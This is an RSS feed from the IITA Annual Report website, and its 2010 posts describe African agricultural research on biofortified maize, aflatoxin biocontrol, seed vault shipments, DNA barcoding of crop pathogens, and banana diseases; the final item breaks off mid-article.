<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>IITA Annual Report</title>
	<atom:link href="http://annualreport.iita.org/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://annualreport.iita.org</link>
	<description>IITA Annual Report</description>
	<pubDate>Wed, 05 May 2010 10:26:50 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Giving tropical maize a vitamin-A boost</title>
		<link>http://annualreport.iita.org/?p=481</link>
		<comments>http://annualreport.iita.org/?p=481#comments</comments>
		<pubDate>Fri, 09 Apr 2010 11:00:35 +0000</pubDate>
		<dc:creator>ojeffrey</dc:creator>
		
		<category><![CDATA[09/10]]></category>

		<category><![CDATA[Agriculture and Health]]></category>

		<category><![CDATA[Editions]]></category>

		<category><![CDATA[Research Highlights]]></category>

		<category><![CDATA[beta-carotene]]></category>

		<category><![CDATA[biofortification]]></category>

		<category><![CDATA[biofortified]]></category>

		<category><![CDATA[carotenoids]]></category>

		<category><![CDATA[IITA]]></category>

		<category><![CDATA[International Institute of Tropical Agriculture]]></category>

		<category><![CDATA[maize]]></category>

		<category><![CDATA[pro-vitamin A]]></category>

		<category><![CDATA[R4D]]></category>

		<category><![CDATA[research-for-development]]></category>

		<category><![CDATA[temperate zones]]></category>

		<category><![CDATA[tropical maize]]></category>

		<category><![CDATA[vitamin A]]></category>

		<guid isPermaLink="false">http://annualreport.iita.org/?p=481</guid>
		<description><![CDATA[We developed tropical maize that is genetically fortified with increased levels of vitamin A by crossing maize from the temperate zones that contain high levels of beta-carotene with tropical maize having intermediate pro-vitamin A content.]]></description>
			<content:encoded><![CDATA[<div id="attachment_284" class="wp-caption alignleft" style="width: 310px"><img class="size-full wp-image-284" title="Buying maize" src="http://annualreport.iita.org/wp-content/uploads/2010/04/dsc_8292.jpg" alt="Buying maize from a roadside vendor. Biofortified maize is key to addressing vitamin-A deficiency in many Africans, especially women and children. Photo by O Adebayo, IITA." width="300" height="199" /><p class="wp-caption-text">Buying maize from a roadside vendor. Biofortified maize is key to addressing vitamin-A deficiency in many Africans, especially women and children. Photo by O Adebayo, IITA.</p></div>
<p>Nutrition studies have shown that over 100 million Africans who rely heavily on cereal-based diets such as maize have sub-optimal vitamin A intake. Due to vitamin A deficiency, these people have high risk of visual impairment and blindness, and increased susceptibility to diseases such as anemia, diarrhea, measles, malaria and respiratory infections. Young children, pregnant women and lactating mothers are especially vulnerable. In Africa, an estimated 33 million preschool-aged children are reported to be deficient in vitamin A.</p>
<p>To address this, we undertook research to develop tropical maize that is genetically fortified with increased levels of vitamin A. By introducing and crossing maize from the temperate zones that contain high levels of beta-carotene with tropical maize having intermediate pro-vitamin A content, we were able to produce inbred lines that contain high levels of both nutrients.</p>
<p>We further evaluated and crossed these improved lines with cultivars that are well-adapted to the prevailing diseases of maize. After repeated selection for desirable agronomic traits and resistance to diseases at the different stages of inbreeding, we were able to produce a large number of promising lines that are not only rich in pro-vitamin A but are also resistant to most maize diseases. More than 300 of these lines have been assayed at Iowa State University and at IITA-Ibadan for pro-vitamin A carotenoids.</p>
<p>These adapted maize inbred lines have higher concentrations of pro-vitamin A ranging from 2.5 µg/g to 10.5 µg/g. From 2004, through extensive selection, we have been able to boost the pro-vitamin A content of our maize inbred lines by 1.8 µg/g per year.</p>
<p>We identified and used the best inbred lines to further develop hybrids, some of which showed 25% to 79% more pro-vitamin A content than Oba Super II, a commercial yellow hybrid in Nigeria. The best hybrids were also found to have grain yields and agronomic traits comparable to those of Oba Super II.</p>
<p>Our studies highlight the possibility of enhancing the pro-vitamin A content of tropical maize without adversely affecting its productivity and adaptation to production environments. Future work could be undertaken to intercross these improved maize cultivars to generate lines with even higher levels of pro-vitamin A and adapted to the savannas of West and Central Africa.</p>
]]></content:encoded>
			<wfw:commentRss>http://annualreport.iita.org/?feed=rss2&amp;p=481</wfw:commentRss>
		</item>
		<item>
		<title>Making African food crops safer</title>
		<link>http://annualreport.iita.org/?p=478</link>
		<comments>http://annualreport.iita.org/?p=478#comments</comments>
		<pubDate>Fri, 09 Apr 2010 10:41:41 +0000</pubDate>
		<dc:creator>ojeffrey</dc:creator>
		
		<category><![CDATA[09/10]]></category>

		<category><![CDATA[Agriculture and Health]]></category>

		<category><![CDATA[Editions]]></category>

		<category><![CDATA[Research Highlights]]></category>

		<category><![CDATA[aflasafe]]></category>

		<category><![CDATA[aflatoxin]]></category>

		<category><![CDATA[African food crops]]></category>

		<category><![CDATA[Aspergillus flavus]]></category>

		<category><![CDATA[atoxigenic]]></category>

		<category><![CDATA[biocontrol]]></category>

		<category><![CDATA[contamination]]></category>

		<category><![CDATA[IITA]]></category>

		<category><![CDATA[International Institute of Tropical Agriculture]]></category>

		<category><![CDATA[R4D]]></category>

		<category><![CDATA[research-for-development]]></category>

		<guid isPermaLink="false">http://annualreport.iita.org/?p=478</guid>
		<description><![CDATA[We worked with partners to develop a safe and natural biocontrol method that drastically cuts aflatoxin contamination in African food crops. The resulting product is called aflasafe™.]]></description>
			<content:encoded><![CDATA[<div id="attachment_298" class="wp-caption alignleft" style="width: 310px"><img class="size-full wp-image-298" title="Aflasafe deployment" src="http://annualreport.iita.org/wp-content/uploads/2010/04/picture-077.jpg" alt="Maize farmers broadcasting aflasafe in their field. Photo by Ranajit Bandyopadhyay." width="300" height="225" /><p class="wp-caption-text">Maize farmers broadcasting aflasafe in their field. Photo by Ranajit Bandyopadhyay.</p></div>
<p>Aflatoxins are chemical poisons produced mainly by the fungus <em>Aspergillus flavus</em> in maize, groundnuts, cassava, and yam chips. They undermine human health, are potent causes of cancer, suppress the immune system of humans and animals, and stunt children’s growth.</p>
<p>In trade, about US$1.2 billion in global commerce is lost annually due to aflatoxin contamination, with African economies suffering some US$450 million in yearly trade losses. Aflatoxins are also non-tariff barriers to international trade since agricultural products that have more than the permissible levels of contamination are rejected.</p>
<p>To address this, we worked with partners to develop a safe and natural biocontrol method that drastically cuts aflatoxin contamination in African food crops. The resulting product is called aflasafe™.</p>
<p>Collaborating with the United States Department for Agriculture – Agriculture Research Service, we demonstrated the ability of a natural fungus found in Nigeria to significantly reduce concentrations of aflatoxins in maize. On-station trials of aflasafe™ in Zaria, Ikenne, Mokwa and Ibadan showed a drop in aflatoxin contamination in maize by 50 to 99 percent.</p>
<p>With aflasafe™, native strains of <em>A. flavus</em> that do not produce aflatoxins (called atoxigenic strains) are applied to alter the fungal community on crops and throughout an area so that crops become less contaminated with aflatoxins. When properly done, these native atoxigenic strains competitively exclude aflatoxin producers.</p>
<p>This competitive exclusion principle of biological control will be used as a new type of intervention strategy to mitigate the negative effect of aflatoxins on human health and trade initially in Nigeria.</p>
<p>Competitive exclusion works by applying selected native atoxigenic strains to out-compete and exclude aflatoxin-producers during colonization of grains, thereby reducing levels of aflatoxin contamination.</p>
<p>We identified several atoxigenic strains native to Nigeria and Kenya that are useful for reducing aflatoxins. We are also identifying native atoxigenic strains for Burkina Faso and Senegal for similar aflatoxin biocontrol.</p>
<p>In 2009, Nigeria’s National Agency for Food and Drug Administration and Control provisionally registered aflasafe™ and permitted treatment of up to 100 ha of farmers’ fields.</p>
<p>Farmers participating in the field trials of aflasafe™ attest that the quality of their maize grains has significantly improved after the product&#8217;s application in their fields. On average, the farmers who treated their maize field with aflasafe™ achieved nearly 80 percent aflatoxin reduction in grains at harvest. The trials were coordinated by the Kaduna State Agriculture Development Program, and funded by the African Agricultural Technology Foundation and European Union’s MycoRed Project.</p>
<p>aflasafe™ is a trademark of IITA.</p>
]]></content:encoded>
			<wfw:commentRss>http://annualreport.iita.org/?feed=rss2&amp;p=478</wfw:commentRss>
		</item>
		<item>
		<title>More African seeds locked in global seed vault</title>
		<link>http://annualreport.iita.org/?p=473</link>
		<comments>http://annualreport.iita.org/?p=473#comments</comments>
		<pubDate>Fri, 09 Apr 2010 10:30:01 +0000</pubDate>
		<dc:creator>ojeffrey</dc:creator>
		
		<category><![CDATA[09/10]]></category>

		<category><![CDATA[Agro-biodiversity]]></category>

		<category><![CDATA[Editions]]></category>

		<category><![CDATA[Research Highlights]]></category>

		<category><![CDATA[African seeds]]></category>

		<category><![CDATA[African yam bean]]></category>

		<category><![CDATA[bambara]]></category>

		<category><![CDATA[conservation]]></category>

		<category><![CDATA[cowpea]]></category>

		<category><![CDATA[Doomsday Vault]]></category>

		<category><![CDATA[Genetic Resources Center]]></category>

		<category><![CDATA[germplasm collection]]></category>

		<category><![CDATA[GRC]]></category>

		<category><![CDATA[IITA]]></category>

		<category><![CDATA[International Institute of Tropical Agriculture]]></category>

		<category><![CDATA[maize]]></category>

		<category><![CDATA[R4D]]></category>

		<category><![CDATA[research-for-development]]></category>

		<category><![CDATA[seed shipment]]></category>

		<category><![CDATA[seed vault]]></category>

		<category><![CDATA[seeds]]></category>

		<category><![CDATA[soybean]]></category>

		<category><![CDATA[Svalbard]]></category>

		<guid isPermaLink="false">http://annualreport.iita.org/?p=473</guid>
		<description><![CDATA[In June 2009, we shipped the second batch of African seeds to the Svalbard Global Seed Vault, comprised of about 5000 seed samples of soybean, maize, bambara nut, cowpea, and African yam bean, packed in more than 10 seed boxes.]]></description>
			<content:encoded><![CDATA[<div id="attachment_285" class="wp-caption alignleft" style="width: 310px"><img class="size-full wp-image-285" title="Transporting seeds to Svalbard" src="http://annualreport.iita.org/wp-content/uploads/2010/04/dsc_8746.jpg" alt="Boxes of African seeds being loaded onto a van on the way to the Svalbard Global Seed Vault. The shipment was prepared by staff of IITA's Genetic Resources Unit. Photo by O Adebayo, IITA." width="300" height="199" /><p class="wp-caption-text">Boxes of African seeds being loaded onto a van on the way to the Svalbard Global Seed Vault. The shipment was prepared by staff of IITA&#39;s Genetic Resources Unit. Photo by O Adebayo, IITA.</p></div>
<p>In June 2009, we shipped the second batch of African seeds to the Svalbard Global Seed Vault located on the Norwegian island of Spitsbergen in the remote Arctic Svalbard archipelago. The delivery is a follow up to our shipment of seeds last year at the commissioning of the “Doomsday Vault”.</p>
<p>Our 2009 shipment included about 5000 seed samples of soybean, maize, bambara nut, cowpea, and African yam bean, packed in more than 10 seed boxes. The shipment was prepared by the Genetic Resources Center (GRC) located at headquarters in Ibadan, Nigeria.</p>
<p>We were the first international agricultural research institute to send seeds to the Vault. Our initial consignment sent on 30 January 2008 comprised of 21 boxes filled with 7000 unique seed samples of crops from more than 36 African nations.</p>
<p>Between 2008 and 2009, we have shipped 11,414 accessions of different African food crops to the seed vault, representing 54% of the conserved seed germplasm at the GRC. These shipments to Svalbard are part of our ongoing commitment to safeguard Africa’s agrobiodiversity for the future of humanity.</p>
<p>According to the UN Environment Program’s 4th Global Environment Outlook report, the ongoing loss of biodiversity will restrict future development options for rich and poor countries with negative impacts on food security.</p>
<p>To help stem the loss of agrobiodiversity, the GRC has over the years conserved more than 28,000 accessions of key food crops in sub-Saharan Africa. The GRC also houses the world’s largest collection of cowpea—a key staple in Africa and offering an inexpensive source of protein— with about 15,000 varieties from 88 countries, mostly from Africa.</p>
<p>We are also continuously working to expand our germplasm collection. This year, we acquired 402 accessions of yam from Benin, Togo, and Ghana. We have also collected 73 local cassava germplasm from Guinea Conakry, and acquired 48 accessions of coco yam from Ghana. These newly acquired germplasm are presently in screen houses and will be characterized in 2010.</p>
]]></content:encoded>
			<wfw:commentRss>http://annualreport.iita.org/?feed=rss2&amp;p=473</wfw:commentRss>
		</item>
		<item>
		<title>‘DNA Barcoding’: new initiative in determining the diversity and checking the spread of pathogens</title>
		<link>http://annualreport.iita.org/?p=470</link>
		<comments>http://annualreport.iita.org/?p=470#comments</comments>
		<pubDate>Fri, 09 Apr 2010 09:05:49 +0000</pubDate>
		<dc:creator>ojeffrey</dc:creator>
		
		<category><![CDATA[09/10]]></category>

		<category><![CDATA[Agro-biodiversity]]></category>

		<category><![CDATA[Editions]]></category>

		<category><![CDATA[Research Highlights]]></category>

		<category><![CDATA[anthracnose]]></category>

		<category><![CDATA[cassava]]></category>

		<category><![CDATA[cassava mosaic begomoviruses]]></category>

		<category><![CDATA[Cercospora]]></category>

		<category><![CDATA[Colletotrichum gloeosporioides Penz]]></category>

		<category><![CDATA[Diagnostic Basket]]></category>

		<category><![CDATA[diagnostic tools]]></category>

		<category><![CDATA[disease diagnosis]]></category>

		<category><![CDATA[DNA barcodes]]></category>

		<category><![CDATA[GLS]]></category>

		<category><![CDATA[grey leaf spot]]></category>

		<category><![CDATA[IITA]]></category>

		<category><![CDATA[isolates]]></category>

		<category><![CDATA[molecular analysis]]></category>

		<category><![CDATA[pathogenecity]]></category>

		<category><![CDATA[pathogens]]></category>

		<category><![CDATA[PCR]]></category>

		<category><![CDATA[Phylogenetic cluster analysis]]></category>

		<category><![CDATA[R4D]]></category>

		<category><![CDATA[research-for-development]]></category>

		<category><![CDATA[yam]]></category>

		<guid isPermaLink="false">http://annualreport.iita.org/?p=470</guid>
		<description><![CDATA[We undertook a new initiative to genetically characterize pathogen populations and recognize unique stretches of sequences. Called ‘DNA Barcodes’, they can be used as markers for diagnosing pathogens and pests affecting African food crops.]]></description>
			<content:encoded><![CDATA[<p>Diagnostic tools is vital to disease surveillance, development of host plant resistance, quarantine monitoring, and supporting safe conservation and exchange of germplasm. Good knowledge on pathogen population structure and genetic diversity is a pre-requisite to developing unambiguous diagnostic tools and is critical in establishing disease management tactics. Increasingly, modern diagnostic tools are being based on the DNA characteristics of the pathogen.</p>
<div id="attachment_275" class="wp-caption alignleft" style="width: 310px"><img class="size-full wp-image-275" title="c-gleo-phylogram" src="http://annualreport.iita.org/wp-content/uploads/2010/04/c-gleo-phylogram-600.jpg" alt="Clustering of 25 yam isolates based on rDNA sequences. Image by Lava Kumar, IITA." width="300" height="277" /><p class="wp-caption-text">Clustering of 25 yam isolates based on rDNA sequences. Image by Lava Kumar, IITA.</p></div>
<p>We undertook a new initiative to genetically characterize pathogen populations and recognize unique stretches of sequences. Called ‘DNA Barcodes’, they can be used as markers for diagnosing pathogens and pests affecting African food crops.</p>
<p>For instance, we conducted molecular characterization of fungal pathogen(s) causing anthracnose – the most destructive disease of yam and cassava in West Africa. In yams, anthracnose appears as leaf spot that spreads rapidly, killing the leaves, shoots, and entire plant. In cassava, it appears as cankers on stems at the base of leaf petioles, and also kills the leaves, shoots, and whole plant. The disease causes severe yield losses in both crops.</p>
<p>The causal fungus, <em>Colletotrichum gloeosporioides</em> Penz., is widespread in West Africa. We identified various isolates of this fungi differing in morphology, growth characters, and pathogenicity, and investigated their genetic relatedness and diversity through molecular analysis using a set of 25 reference isolates (17 from yam and 8 from cassava). Based on the symptoms they induce, they were grouped into spot (S) and blight (B) isolates. Both isolates infect yam, but only B isolates infect cassava. We assessed the genetic diversity in these isolates by nucleotide sequencing and cluster analysis of the ~540 base pair (bp) nuclear ribosomal internal transcribed spacer region (ITS1, ITS2 and the 5.8S gene) and partial gene sequences of actin (~240 bp) and histone (~370 bp).</p>
<p>Phylogenetic cluster analysis grouped the 25 isolates into two major clades and two sub-clades within the major clades. Both the S and B isolates were distributed between the two clades (see figure). All the isolates in clade 1 were unique to yam. Seven of these isolates (YA08-1, YA08-2, YA08-3, YA08-4, YA08-7, Y-83, Y-84) formed a genetically-distinct lineage indicating that they could be new strains unique to yam. Isolates in clade 2 infect both cassava and yam suggesting their capability to infect wide range of plants. Clade 2 isolates could be the most frequently occurring on yam and cassava because of their ability to survive on weeds and other crops. We recognized unique sequence motifs and designed diagnostic PCR primers for specific amplification of <em>C. gloeosporioides</em> infecting yam and cassava directly from infected plant tissues.</p>
<p>Using a similar approach, we characterized the fungal agent associated with grey leaf spot (GLS), the most destructive disease of maize. We found that GLS in Nigeria is caused by a distinct species of <em>Cercospora</em>, but not <em>C. zeae-maydis</em>. This work, in addition to confirming the GLS etiology, allowed us to establish a unique set of primers for specific identification of GLS pathogen prevalent in Nigeria.</p>
<p>Through comparative genomics, we identified common genome regions in cassava mosaic begomoviruses occurring in sub-Saharan Africa. We developed a simple multiplex PCR assay that can detect all the major viruses in cassava mosaic disease etiology. This test has been institutionalized for virus indexing of cassava propagated in vitro.</p>
<p>To aid in diagnostics research, we developed a simple and cost-effective procedure suitable for extraction of DNA from seeds, leaves, stems, tubers, and even roots. The resultant DNA is suitable for PCR-based diagnoses of fungi, bacteria, and viruses in the infected tissues in a wide range of plant species, and is handy for quarantine monitoring of germplasm. We are establishing a repository of diagnostic protocols in an approach we call ‘Diagnostic Basket®’ and make it available to users.</p>
]]></content:encoded>
			<wfw:commentRss>http://annualreport.iita.org/?feed=rss2&amp;p=470</wfw:commentRss>
		</item>
		<item>
		<title>Fighting a two-pronged attack on African bananas</title>
		<link>http://annualreport.iita.org/?p=462</link>
		<comments>http://annualreport.iita.org/?p=462#comments</comments>
		<pubDate>Fri, 09 Apr 2010 08:44:29 +0000</pubDate>
		<dc:creator>ojeffrey</dc:creator>
		
		<category><![CDATA[09/10]]></category>

		<category><![CDATA[Banana and Plantain Systems]]></category>

		<category><![CDATA[Editions]]></category>

		<category><![CDATA[Research Highlights]]></category>

		<category><![CDATA[banana aphid]]></category>

		<category><![CDATA[banana bunchy top disease]]></category>

		<category><![CDATA[banana bunchy top virus]]></category>

		<category><![CDATA[banana xanthomonas wilt]]></category>

		<category><![CDATA[bananas]]></category>

		<category><![CDATA[BBTD]]></category>

		<category><![CDATA[BBTV]]></category>

		<category><![CDATA[BXW]]></category>

		<category><![CDATA[disease]]></category>

		<category><![CDATA[distribution map]]></category>

		<category><![CDATA[East Africa]]></category>

		<category><![CDATA[IITA]]></category>

		<category><![CDATA[Musa]]></category>

		<category><![CDATA[pathogens]]></category>

		<category><![CDATA[pest]]></category>

		<category><![CDATA[plantains]]></category>

		<category><![CDATA[R4D]]></category>

		<category><![CDATA[research-for-development]]></category>

		<guid isPermaLink="false">http://annualreport.iita.org/?p=462</guid>
		<description><![CDATA[We have been actively engaged in a number of complementary disease-management research to combat the two-pronged threat of BXW and BBTD in Africa - diseases that could potentially wipe out bananas and plantains from the continent.]]></description>
			<content:encoded><![CDATA[<div id="attachment_296" class="wp-caption alignleft" style="width: 310px"><img class="size-full wp-image-296" title="BXW flesh damage" src="http://annualreport.iita.org/wp-content/uploads/2010/04/p1030340.jpg" alt="Flesh of banana fruit infected by BXW. Photo by Piet van Asten." width="300" height="225" /><p class="wp-caption-text">Flesh of banana fruit infected by BXW. Photo by Piet van Asten.</p></div>
<p>Among the many diseases that affect bananas and plantains in Africa, the two greatest threats are Banana <em>Xanthomona</em>s Wilt (BXW) and Banana Bunchy Top Disease (BBTD). Combined, these diseases have the potential to wipe out these economically- and food security-vital crops from the continent. Their rapid spread in recent years has alarm bells ringing in banana-producing countries across Africa.</p>
<p>BXW, which in the past had only been prevalent in Ethiopia, has been highly active in East Africa this past decade. On the other hand, BBTD, which was first reported in the 1920s and then the 1960s in Egypt and DR Congo, respectively, has been spreading rapidly in the East African highlands and in Central and Southern Africa.</p>
<p>In the face of this two-pronged threat, we have been actively engaged in a number of complementary disease-management research. These include developing specific diagnostic assays, initiating regional surveillance to map current disease distribution and future spread, developing management tools to minimize establishment, spread, and impact, and working on host-plant resistance through germplasm screening and biotechnology approaches.</p>
<div id="attachment_274" class="wp-caption alignright" style="width: 310px"><img class="size-full wp-image-274" title="BBTD plants" src="http://annualreport.iita.org/wp-content/uploads/2010/04/bbtd-fen-beed.jpg" alt="Banana plants showing classic symptoms of BBTD. Photo by Fen Beed." width="300" height="264" /><p class="wp-caption-text">Banana plants showing classic symptoms of BBTD. Photo by Fen Beed.</p></div>
<p>As the BXW pathogen is closely related to other <em>Xanthomonas</em> pathogens that affect maize, sorghum, and sugarcane, we, together with advanced laboratories in the USA, developed a highly specific assay to identify the banana variant using genomic tools. We also developed a sensitive assay for the banana bunchy top virus (BBTV), the causal agent of BBTD.</p>
<p>These two assays are now being used for verification of suspected BXW and BBTD cases in East and southern Africa in cooperation with national and private sector partners.</p>
<p>The development of sensitive diagnostics for BXW and BBTD permits epidemiological studies in plants that do not show symptoms during the latent period, rapid deployment of control measures, and effective detection of the pathogens by quarantine officers along borders.</p>
<p>We also conducted surveys with national partners in southern and Central Africa to map the extent of spread of BBTV, and to determine the abundance and distribution of the banana aphid, the only known insect vector of BBTV.</p>
<div id="attachment_273" class="wp-caption alignleft" style="width: 310px"><img class="size-full wp-image-273" title="BBTD and BXW map" src="http://annualreport.iita.org/wp-content/uploads/2010/04/bbtd-and-bxw.jpg" alt="Map showing distribution of BBTD and BXW in Africa. Image provided by Fen Beed, IITA." width="300" height="235" /><p class="wp-caption-text">Map showing distribution of BBTD and BXW in Africa. Image provided by Fen Beed, IITA.</p></div>
<p>We recognize that insects play an important role in the spread of banana diseases, so we initiated studies on host-plant resistance to the banana aphid that spreads BBTV. We also plan to explore for natural enemies of the banana aphid in its putative area of origin in 2010. In Malawi, we established a field trial of various banana cultivars to study host reaction to BBTV and assess virus concentration.</p>
<p>Many insects have been implicated in the medium-distance, farm-to-farm spread of BXW. To help us develop management guidelines, we have been conducting studies in an isolated and controlled site in a forest reserve to further understand how insects spread the BXW pathogen.</p>
<p>Together with the Southern Africa Development Community,  the Association for Strengthening Agricultural Research in Eastern and Central Africa, FAO, Bioversity International, and other partners, we co-organized an international workshop in Arusha, Tanzania in August to integrate recent information on these diseases and develop control strategies.</p>
<p>The workshop recommended measures to slow the spread of these diseases into new regions and offset their impact in already-affected areas. These included large-scale awareness and surveillance campaigns, community-level cooperative actions, establishment of reporting, communication, and monitoring systems, improved &#8220;seed&#8221; systems, development of national contingency plans, and long-term programs for eradication and/or management of BXW and BBTD.</p>
<p>A follow-up meeting in 2010 is being planned to establish the framework of a region-wide disease-management and production strategy.</p>
]]></content:encoded>
			<wfw:commentRss>http://annualreport.iita.org/?feed=rss2&amp;p=462</wfw:commentRss>
		</item>
		<item>
		<title>Looking into the dynamics of Musa production in Africa</title>
		<link>http://annualreport.iita.org/?p=457</link>
		<comments>http://annualreport.iita.org/?p=457#comments</comments>
		<pubDate>Fri, 09 Apr 2010 08:25:10 +0000</pubDate>
		<dc:creator>ojeffrey</dc:creator>
		
		<category><![CDATA[09/10]]></category>

		<category><![CDATA[Banana and Plantain Systems]]></category>

		<category><![CDATA[Editions]]></category>

		<category><![CDATA[Research Highlights]]></category>

		<category><![CDATA[abiotic stress]]></category>

		<category><![CDATA[Annual Report 2009]]></category>

		<category><![CDATA[biotic stress]]></category>

		<category><![CDATA[diagnostics survey]]></category>

		<category><![CDATA[diseases]]></category>

		<category><![CDATA[drought]]></category>

		<category><![CDATA[East Africa]]></category>

		<category><![CDATA[fertilizer]]></category>

		<category><![CDATA[IITA]]></category>

		<category><![CDATA[Musa]]></category>

		<category><![CDATA[pests]]></category>

		<category><![CDATA[plantain]]></category>

		<category><![CDATA[R4D]]></category>

		<category><![CDATA[research-for-development]]></category>

		<category><![CDATA[Sigatoka]]></category>

		<guid isPermaLink="false">http://annualreport.iita.org/?p=457</guid>
		<description><![CDATA[This year, we undertook studies to further understand the dynamics of the relationships among factors affecting banana and plantain production in Africa and establish some of the underlying causes why it is as it is. This would help us plot a more effective course for our Musa R4D efforts in Africa.]]></description>
			<content:encoded><![CDATA[<div id="attachment_272" class="wp-caption alignleft" style="width: 310px"><img class="size-full wp-image-272" title="banana-valley-near-ruhengeri-rwanda" src="http://annualreport.iita.org/wp-content/uploads/2010/04/banana-valley-near-ruhengeri-rwanda-pva.jpg" alt="A banana valley near Ruhengeri, Rwanda. Photo by Piet van Asten, IITA." width="300" height="225" /><p class="wp-caption-text">A banana valley near Ruhengeri, Rwanda. Photo by Piet van Asten, IITA.</p></div>
<p>This year, we undertook research to further understand the dynamics of the relationships among factors affecting banana and plantain production in Africa such as pest and diseases, biotic and abiotic stresses, and farmers’ preferences. This is to establish some of the underlying causes why bananas and plantains in Africa are as they are. More importantly, this would help us plot a more effective course for our <em>Musa</em> research-for-development efforts.</p>
<p>In East Africa, we conducted large-scale diagnostic surveys with our partners particularly in the major production areas of Uganda, Rwanda, Burundi, Eastern DRC, and central Kenya. We mapped yield levels, crop management practices, pest and disease pressure, nutrient deficiencies, and ecological parameters such as rainfall and altitude.</p>
<p>Our surveys came up with some surprising facts:</p>
<ul>
<li>Yield levels (t/ha), taken from measurements of hundreds of farmers fields, were more than double the figures reported by national statistics and cited by FAO;</li>
<li>Uganda, which has been traditionally regarded as the regional champion of banana production, actually had lower average yields (around 15 t/ha) than neighboring Rwanda, Burundi, and East DR Congo (more than 20 t/ha);</li>
<li>Sigatoka disease pressure, which had been the primary focus of breeders, was generally low, especially in the higher altitudes;</li>
<li>Nematode and weevil pressure was still important in the lower parts of the highlands (less than 1200m above sea level), but were not a primary yield constraint in most production areas;</li>
<li>Nutrient deficiencies were widespread. With the exception of young and volcanic soils near the Albertine rift, the dominant Acricols and Ferralsols were low in nutrient stocks.; and</li>
<li>Soil organic matter management is a key factor, and often explained the large production differences observed when moving 50 meters away from the relatively fertile soil adjacent to houses to banana plots farther away and less likely to receive discarded kitchen waste.</li>
</ul>
<div id="attachment_271" class="wp-caption alignright" style="width: 310px"><img class="size-full wp-image-271" title="banana-truck-transport" src="http://annualreport.iita.org/wp-content/uploads/2010/04/banana-truck-transport-in-uganda-pva.jpg" alt="Banana being transported via truck in Uganda. The farther the farms are from markets, the lesser the incomes farmers get. Photo by Piet van Asten, IITA." width="300" height="225" /><p class="wp-caption-text">Banana being transported via truck in Uganda. The farther the farms are from markets, the lesser the incomes farmers get. Photo by Piet van Asten, IITA.</p></div>
<p>Our on-farm fertilizer trials across Uganda showed that modest fertilizer doses (average 71N, 8P, 32K kg ha-1 yr-1) doubled yields from 10 to 20 t/ha per year in areas such as Central Uganda. Fertilizer use proved highly profitable near large urban centers such as Kampala, but at farther distances (&gt;150km) from the market, the increased transport cost reduced farm gate prices to levels that would make fertilizer investments too risky (marginal rates of return &lt;100%).</p>
<p>Besides soil fertility, regional production gradients seemed also strongly correlated to rainfall gradients. To prove this, we explored data from past field trials, relating inter-annual yield variations to rainfall variations. Drought proved to be one of the biggest yield constraints, with an estimated 50% yield loss in large production areas in the highlands that received ”only” 1000 mm of rainfall per year. Pot trials confirmed that even moderate drought stress (pF 2.8) resulted in strongly reduced growth (&gt;63%) compared to plants that remained well watered (pF 1.8). Drought stress does not result in obvious visual stress symptoms, explaining why farmers and researchers in the East African highlands had not given it much attention.</p>
<p>We are planning to conduct similar diagnostic surveys for the plantain systems in West and Central Africa, as well as setting up irrigation trials in West and East Africa, in 2010.</p>
<p>Our plant health researchers are also conducting studies to probe deeper into the complex relationships between pest and disease resistance and abiotic and biotic stresses, and develop appropriate solutions to optimize <em>Musa</em> production in Africa.</p>
]]></content:encoded>
			<wfw:commentRss>http://annualreport.iita.org/?feed=rss2&amp;p=457</wfw:commentRss>
		</item>
		<item>
		<title>New aflatoxin-resistant maize</title>
		<link>http://annualreport.iita.org/?p=449</link>
		<comments>http://annualreport.iita.org/?p=449#comments</comments>
		<pubDate>Fri, 09 Apr 2010 07:26:17 +0000</pubDate>
		<dc:creator>ojeffrey</dc:creator>
		
		<category><![CDATA[09/10]]></category>

		<category><![CDATA[Cereals and Legumes Systems]]></category>

		<category><![CDATA[Editions]]></category>

		<category><![CDATA[Research Highlights]]></category>

		<category><![CDATA[aflatoxin]]></category>

		<category><![CDATA[aflatoxin-resistance]]></category>

		<category><![CDATA[Agriculture and Health]]></category>

		<category><![CDATA[Annual Report 2009]]></category>

		<category><![CDATA[Aspergillus flavus]]></category>

		<category><![CDATA[contamination]]></category>

		<category><![CDATA[corn]]></category>

		<category><![CDATA[IITA]]></category>

		<category><![CDATA[inbred maize lines]]></category>

		<category><![CDATA[maize]]></category>

		<category><![CDATA[R4D]]></category>

		<category><![CDATA[research-for-development]]></category>

		<category><![CDATA[toxins]]></category>

		<category><![CDATA[tropical maize]]></category>

		<guid isPermaLink="false">http://annualreport.iita.org/?p=449</guid>
		<description><![CDATA[Further to our work on developing a biocontrol product against aflatoxin contamination in food crops, we also developed six new aflatoxin-resistant maize inbred lines with our US-based partners. These maize lines, which have been released to farmers, are also well-adapted to the lowlands.]]></description>
			<content:encoded><![CDATA[<div id="attachment_267" class="wp-caption alignleft" style="width: 310px"><img class="size-full wp-image-267" title="Aflatoxin maize" src="http://annualreport.iita.org/wp-content/uploads/2010/04/_dsc0467.jpg" alt="A local partner holding a cob of aflatoxin-contaminated maize. Photo by Godwin Atser, IITA." width="300" height="199" /><p class="wp-caption-text">A local partner holding a cob of aflatoxin-contaminated maize. Photo by Godwin Atser, IITA.</p></div>
<p>Aflatoxins, poisons produced by the fungus <em>Aspergillus flavus</em>, infect agricultural commodities such as groundnuts, cassava, yam, and maize. They pose serious potential health hazards to both humans and animals, and have far-reaching negative implications on the global trade contaminated crops (see related article “<a href="http://annualreport.iita.org/?p=478" target="_blank">Towards safer African food crops</a>” under <a href="http://annualreport.iita.org/?cat=20" target="_blank">Agriculture and Health</a>).</p>
<p>Various solutions have been proposed to minimize aflatoxin contamination in food crops. Host resistance remains as the most widely explored strategy as <em>A. flavus</em> infects susceptible crops before harvest.</p>
<p>Our researchers in partnership with colleagues from the US Department of Agriculture - Agricultural Research Service (USDA-ARS-SRRC) have developed and released six new maize inbred lines with resistance to aflatoxin contamination and adapted to the lowlands. These lines, named TZAR101 through TZAR106, have also been registered in the United States. The research was co-funded by FAS-USDA-ARS, USAID, and IITA.</p>
